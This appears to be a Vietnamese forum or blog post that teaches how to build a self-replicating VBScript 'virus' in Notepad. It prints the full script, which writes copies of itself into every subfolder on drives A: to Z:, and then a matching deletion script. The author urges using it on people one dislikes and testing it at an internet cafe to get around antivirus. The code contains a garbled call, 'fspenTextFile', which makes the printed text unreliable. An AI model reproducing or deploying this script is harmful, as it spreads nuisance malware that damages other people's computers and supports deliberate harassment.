Tạo 1 Virus Vui mà cực hiểm bằng Notepad

Tạo 1 Virus Vui mà cực hiểm bằng Notepad

Với con virus này sẽ làm người bị hại nhứt đầu vì nó là 1 virus nhân bản.
Khi bấm vào thì virus sẻ tràn ngập ở tất cả các File mà trong máy tính có.
Nhưng tác hại nó gây ra không nhìu nhưng chủ yếu là bực mình.
Chú ý: khi tạo nó thì đừng click vào

Vào Start ---> Run----> gõ Notepad
Rồi copy code này vào:

'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fspenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub


Seve với tên bất kì nhưng lưu dưới dạng *.vbs ( VD: dungbamvao.vbs )

Quả quýt dày cũng có ngón tay nhọn
Dù có nguy hiểm cỡ nào thì cũng có cách giải . Làm Theo cách sau

Cũng làm như vậy nhưng khi mở Notepad lên thì copy code này:

'Thuoc Giai
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fspenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub

Cũng seve lại với dịnh dạng là *.vbs

Hãy làm cái này với người mình ghét thui nha. Vì khi gà gặp con này thì chắc tốn 50 ngàn cai lai chuong trình rồi.
Khuyến cáo : nếu muốn thử thì tốt nhất là ra Net vì dù ở nhà có trương trình diệt virus tốt cách nào thì cũng như ko.

Chào Tạm Biệt Và Chúc may Mắn. Và cũng chia buồn cho ai gạp con virus này 

Xem bài viết trên phiên bản di động